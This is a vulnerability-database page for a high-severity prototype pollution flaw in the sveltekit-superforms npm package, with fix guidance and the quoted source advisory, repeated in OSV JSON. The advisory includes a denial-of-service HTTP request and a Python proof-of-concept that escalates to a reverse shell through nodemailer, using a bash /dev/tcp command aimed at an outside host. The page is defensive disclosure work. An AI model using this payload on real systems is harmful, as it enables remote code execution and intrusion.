Vulnerabilities in pkg:npm/sveltekit-superforms

PACKAGE
Advisory Identifier: GHSA-hwmc-4c8j-xxj7
Advisory Summary

CVE-2025-62381 is a HIGH `sveltekit-superforms` has prototype pollution vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting Sveltekit superforms libraries in the npm ecosystem. The issue involves `sveltekit-superforms` has prototype pollution in `parseformdata` function of `formdata.js`. Remediation is available by upgrading affected packages to version 2.27.4.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/sveltekit-superforms

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/sveltekit-superforms. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-hwmc-4c8j-xxj7 CVE-2025-62381 HIGH `sveltekit-superforms` has Prototype Pollution in `parseFormData` function of `formData.js`

CVE-2025-62381 at a Glance

CVE Identifier CVE-2025-62381
GHSA Identifier GHSA-hwmc-4c8j-xxj7
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Affected Product Sveltekit superforms
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2025-62381

To remediate this vulnerability, upgrade all affected Sveltekit superforms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

sveltekit-superforms fixed: 2.27.4
npm install sveltekit-superforms@2.27.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls sveltekit-superforms

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-62381, inspect your project dependencies using npm:

npm ls sveltekit-superforms

Analyze the terminal output to locate any version of Sveltekit superforms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.27.4), your application is affected.

Note: The npm ls sveltekit-superforms command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In Sveltekit superforms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `sveltekit-superforms` v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the `parseFormData` function of `formData.js`. An attacker can inject string and array properties into `Object.prototype`, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects. ### Details Superforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the `superValidate` function, with the submitted form data and a form schema as arguments: ```js // https://superforms.rocks/get-started#posting-data const form = await superValidate(request, your_adapter(schema)); ``` Within the `superValidate` function, a call is made to `parseRequest` in order to parse the user's input. `parseRequest` then calls into `parseFormData`, which in turn looks for the presence of `__superform_json` in the form parameters. If `__superform_json` is present, the following snippet is executed: ```js // src/lib/formData.ts if (formData.has('__superform_json')) { try { const transport = options && options.transport ? Object.fromEntries(Object.entries(options.transport).map(([k, v]) => [k, v.decode])) : undefined; const output = parse(formData.getAll('__superform_json').join('') ?? '', transport); if (typeof output === 'object') { // Restore uploaded files and add to data const filePaths = Array.from(formData.keys()); for (const path of filePaths.filter((path) => path.startsWith('__superform_file_'))) { const realPath = splitPath(path.substring(17)); setPaths(output, [realPath], formData.get(path)); } for (const path of filePaths.filter((path) => path.startsWith('__superform_files_'))) { const realPath = splitPath(path.substring(18)); const allFiles = formData.getAll(path); setPaths(output, [realPath], Array.from(allFiles)); } return output as Record<string, unknown>; } } catch { // } } ``` This snippet deserializes JSON input within the `__superform_json`, and then performs a nested assignment into the deserialized object using values from form parameters beginning with `__superform_file_` and `__superform_files_`. Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will pollute `Object.prototype.toString`, which leads to a persistent denial of service in many applications: ``` POST /signup HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://example.com/signup content-type: application/x-www-form-urlencoded x-sveltekit-action: true Content-Length: 70 Origin: http://example.com Connection: keep-alive Priority: u=0 Pragma: no-cache Cache-Control: no-cache __superform_json=[{}]&__superform_files___proto__.toString='corrupted' ``` ### PoC The following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular `nodemailer` library (5 million weekly downloads from npm). `routes/signup/schema.ts`: ```js import { z } from "zod/v4"; export const schema = z.object({ email: z .email({ error: "Please enter a valid email address.", }) .min(1, { error: "Email address is required.", }), password: z.string().min(8, { error: "Password must be at least 8 characters long.", }), }); ``` `routes/signup/+page.server.ts`: ```js import { zod4 } from "sveltekit-superforms/adapters"; import { fail, setError, superValidate } from "sveltekit-superforms"; import { schema } from "./schema"; import nodemailer from "nodemailer"; import { MAIL_USER, MAIL_CLIENT_ID, MAIL_CLIENT_SECRET, MAIL_REFRESH_TOKEN, } from "$env/static/private"; export const actions = { default: async ({ request }) => { const form = await superValidate(request, zod4(schema)); if (!form.valid) { return fail(400, { form }); } // <insert other signup code here: DB ops, logging etc..> nodemailer .createTransport({ service: "gmail", auth: { type: "OAuth2", user: MAIL_USER, clientId: MAIL_CLIENT_ID, clientSecret: MAIL_CLIENT_SECRET, refreshToken: MAIL_REFRESH_TOKEN, }, }) .sendMail({ to: form.data.email, subject: "Welcome to $app!", html: "<p> Welcome to $app. We hope you enjoy your stay.</p>", text: "Welcome to $app. We hope you enjoy your stay.", }); }, }; ``` The following Python script then pollutes the base object prototype in order to achieve RCE. ```python #!/usr/bin/env python3 import requests RHOST = "http://localhost:4173" session = requests.Session() r = session.post( f"{RHOST}/signup", data={ "__superform_json": "[{}]", "__superform_file___proto__.sendmail": "1", "__superform_file___proto__.path": "/bin/bash", "__superform_files___proto__.args": [ "-c", "bash -i >& /dev/tcp/dread.mantel.group/443 0>&1", "--", ], }, headers={"Origin": RHOST}, ) r = session.post( f"{RHOST}/signup", data={"email": "me@example.com", "password": "usersignuppassword"}, headers={"Origin": RHOST}, ) ``` <img width="747" height="173" alt="image" src="https://github.com/user-attachments/assets/7b097187-7110-409a-915d-94782c15f597" /> In addition to `nodemailer`, the Language-Based Security group at KTH Royal Institute of Technology also compiles gadgets in many other [popular libraries and runtimes](https://github.com/KTH-LangSec/server-side-prototype-pollution), which can be used together with this vulnerability. ### Impact Attackers can inject string and array properties into `Object.prototype`. This has a high probability of leading to denial of service and type confusion, with potential escalation to other impacts such as remote code execution, depending on the presence of reliable gadgets.

CVE-2025-62381 Affected Sveltekit superforms Versions

1 component(s)
Fixed Versions:
2.27.4
Product / Package Ecosystem Affected Versions Fixed Version
sveltekit-superforms
npm
< 2.27.4
2.27.4

References

Frequently Asked Questions

What is CVE-2025-62381?
CVE-2025-62381 is a security vulnerability in Sveltekit superforms involving `sveltekit-superforms` has Prototype Pollution in `parseFormData` function of `formData.js` under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
Which Sveltekit superforms versions are affected?
Affected versions include releases prior to 2.27.4 across affected packages: sveltekit-superforms.
What version fixes CVE-2025-62381?
Upgrading to 2.27.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is sveltekit-superforms affected?
Yes, sveltekit-superforms is affected in releases prior to 2.27.4. Upgrade your dependency to 2.27.4 or later.
What CWE is associated with CVE-2025-62381?
CVE-2025-62381 is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.).
How can I check npm dependencies for CVE-2025-62381?
Run the dependency tree command: 'npm ls sveltekit-superforms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hwmc-4c8j-xxj7",
  "modified" : "2025-10-15T19:43:09Z",
  "published" : "2025-10-15T19:43:09Z",
  "aliases" : [ "CVE-2025-62381" ],
  "summary" : "`sveltekit-superforms` has Prototype Pollution in `parseFormData` function of `formData.js`",
  "details" : "### Summary\n`sveltekit-superforms` v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the `parseFormData` function of `formData.js`. An attacker can inject string and array properties into `Object.prototype`, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects.\n\n### Details\nSuperforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the `superValidate` function, with the submitted form data and a form schema as arguments:\n```js\n// https://superforms.rocks/get-started#posting-data\nconst form = await superValidate(request, your_adapter(schema));\n ```\n Within the `superValidate` function, a call is made to `parseRequest` in order to parse the user's input. `parseRequest` then calls into `parseFormData`, which in turn looks for the presence of `__superform_json` in the form parameters. If `__superform_json` is present, the following snippet is executed:\n```js\n// src/lib/formData.ts\nif (formData.has('__superform_json')) {\n\ttry {\n\t\tconst transport =\n\t\t\toptions && options.transport\n\t\t\t\t? Object.fromEntries(Object.entries(options.transport).map(([k, v]) => [k, v.decode]))\n\t\t\t\t: undefined;\n\n\t\tconst output = parse(formData.getAll('__superform_json').join('') ?? '', transport);\n\t\tif (typeof output === 'object') {\n\t\t\t// Restore uploaded files and add to data\n\t\t\tconst filePaths = Array.from(formData.keys());\n\n\t\t\tfor (const path of filePaths.filter((path) => path.startsWith('__superform_file_'))) {\n\t\t\t\tconst realPath = splitPath(path.substring(17));\n\t\t\t\tsetPaths(output, [realPath], formData.get(path));\n\t\t\t}\n\n\t\t\tfor (const path of filePaths.filter((path) => path.startsWith('__superform_files_'))) {\n\t\t\t\tconst realPath = splitPath(path.substring(18));\n\t\t\t\tconst allFiles = formData.getAll(path);\n\n\t\t\t\tsetPaths(output, [realPath], Array.from(allFiles));\n\t\t\t}\n\n\t\t\treturn output as Record<string, unknown>;\n\t\t}\n\t} catch {\n\t\t//\n\t}\n }\n```\nThis snippet deserializes JSON input within the `__superform_json`, and then performs a nested assignment into the deserialized object using values from form parameters beginning with `__superform_file_` and `__superform_files_`. Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will pollute `Object.prototype.toString`, which leads to a persistent denial of service in many applications:\n```\nPOST /signup HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://example.com/signup\ncontent-type: application/x-www-form-urlencoded\nx-sveltekit-action: true\nContent-Length: 70\nOrigin: http://example.com\nConnection: keep-alive\nPriority: u=0\nPragma: no-cache\nCache-Control: no-cache\n\n__superform_json=[{}]&__superform_files___proto__.toString='corrupted'\n```\n### PoC\nThe following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular `nodemailer` library (5 million weekly downloads from npm).\n\n`routes/signup/schema.ts`:\n```js\nimport { z } from \"zod/v4\";\n\nexport const schema = z.object({\n    email: z\n        .email({\n            error: \"Please enter a valid email address.\",\n        })\n        .min(1, {\n            error: \"Email address is required.\",\n        }),\n    password: z.string().min(8, {\n        error: \"Password must be at least 8 characters long.\",\n    }),\n});\n```\n`routes/signup/+page.server.ts`:\n```js\nimport { zod4 } from \"sveltekit-superforms/adapters\";\nimport { fail, setError, superValidate } from \"sveltekit-superforms\";\nimport { schema } from \"./schema\";\nimport nodemailer from \"nodemailer\";\nimport {\n    MAIL_USER,\n    MAIL_CLIENT_ID,\n    MAIL_CLIENT_SECRET,\n    MAIL_REFRESH_TOKEN,\n} from \"$env/static/private\";\n\nexport const actions = {\n    default: async ({ request }) => {\n        const form = await superValidate(request, zod4(schema));\n\n        if (!form.valid) {\n            return fail(400, { form });\n        }\n\n        // <insert other signup code here: DB ops, logging etc..>\n\n        nodemailer\n            .createTransport({\n                service: \"gmail\",\n                auth: {\n                    type: \"OAuth2\",\n                    user: MAIL_USER,\n                    clientId: MAIL_CLIENT_ID,\n                    clientSecret: MAIL_CLIENT_SECRET,\n                    refreshToken: MAIL_REFRESH_TOKEN,\n                },\n            })\n            .sendMail({\n                to: form.data.email,\n                subject: \"Welcome to $app!\",\n                html: \"<p> Welcome to $app. We hope you enjoy your stay.</p>\",\n                text: \"Welcome to $app. We hope you enjoy your stay.\",\n            });\n    },\n};\n```\n\nThe following Python script then pollutes the base object prototype in order to achieve RCE.\n```python\n#!/usr/bin/env python3\n\nimport requests\n\nRHOST = \"http://localhost:4173\"\nsession = requests.Session()\n\nr = session.post(\n    f\"{RHOST}/signup\",\n    data={\n        \"__superform_json\": \"[{}]\",\n        \"__superform_file___proto__.sendmail\": \"1\",\n        \"__superform_file___proto__.path\": \"/bin/bash\",\n        \"__superform_files___proto__.args\": [\n            \"-c\",\n            \"bash -i >& /dev/tcp/dread.mantel.group/443 0>&1\",\n            \"--\",\n        ],\n    },\n    headers={\"Origin\": RHOST},\n)\n\nr = session.post(\n    f\"{RHOST}/signup\",\n    data={\"email\": \"me@example.com\", \"password\": \"usersignuppassword\"},\n    headers={\"Origin\": RHOST},\n)\n```\n<img width=\"747\" height=\"173\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7b097187-7110-409a-915d-94782c15f597\" />\n\nIn addition to `nodemailer`, the Language-Based Security group at KTH Royal Institute of Technology also compiles gadgets in many other [popular libraries and runtimes](https://github.com/KTH-LangSec/server-side-prototype-pollution), which can be used together with this vulnerability.\n\n### Impact\nAttackers can inject string and array properties into `Object.prototype`. This has a high probability of leading to denial of service and type confusion, with potential escalation to other impacts such as remote code execution, depending on the presence of reliable gadgets.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "sveltekit-superforms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.27.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.27.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-62381"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ciscoheat/sveltekit-superforms/commit/4a1310dd1a94176bb22036662c530dad48059ca4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ciscoheat/sveltekit-superforms"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-15T19:43:09Z",
    "nvd_published_at" : "2025-10-15T18:15:40Z"
  }
}